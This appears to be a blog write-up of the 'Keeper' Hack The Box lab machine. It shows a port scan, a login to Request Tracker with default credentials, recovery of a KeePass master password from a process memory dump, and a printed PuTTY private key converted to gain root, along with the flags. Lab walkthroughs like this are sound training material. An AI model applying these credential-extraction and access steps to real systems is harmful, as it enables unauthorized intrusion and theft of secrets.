[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…

2025-03-05 1 0

Information Gathering

IP Address Opening Ports
10.10.11.227 TCP:22,80

$ ip='10.10.11.227'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Request Tracker (RT)

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图

# echo '10.10.11.227 tickets.keeper.htb'>>/etc/hosts

http://tickets.keeper.htb/

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图1

username:root
password:password

http://tickets.keeper.htb/rt/

http://tickets.keeper.htb/rt/Admin/Users/Modify.html?id=27

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图2

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图3

password:Welcome2023!

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图4

User.txt

3e065105fb5ec6a9d4d4875f1fa99185

Privilege Escalation:Extract the master password from the KeePass process remnants && PUTTY PPK to id_rsa

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图5

$ scp lnorgaard@10.10.11.227:/home/lnorgaard/RT30000.zip /tmp/

https://github.com/vdohney/keepass-password-dumper

#!/bin/bash
wget https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
dpkg -i packages-microsoft-prod.deb
apt update
apt install -y dotnet-sdk-7.0
dotnet --version

1.获取主密钥

# dotnet run KeePassDumpFull.dmp

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图6

dgrød med fløde

2.passcodes.kdbx破译

https://app.keeweb.info/

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图7

rødgrød med fløde

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图8

3.将ppk转为id_rsa私钥

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

$ puttygen ppk -O private-openssh -o id_rsa

$ ssh root@10.10.11.227 -i id_rsa

[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…插图9

Root.txt

00172c33f60bd92c400e0bd2825d1301


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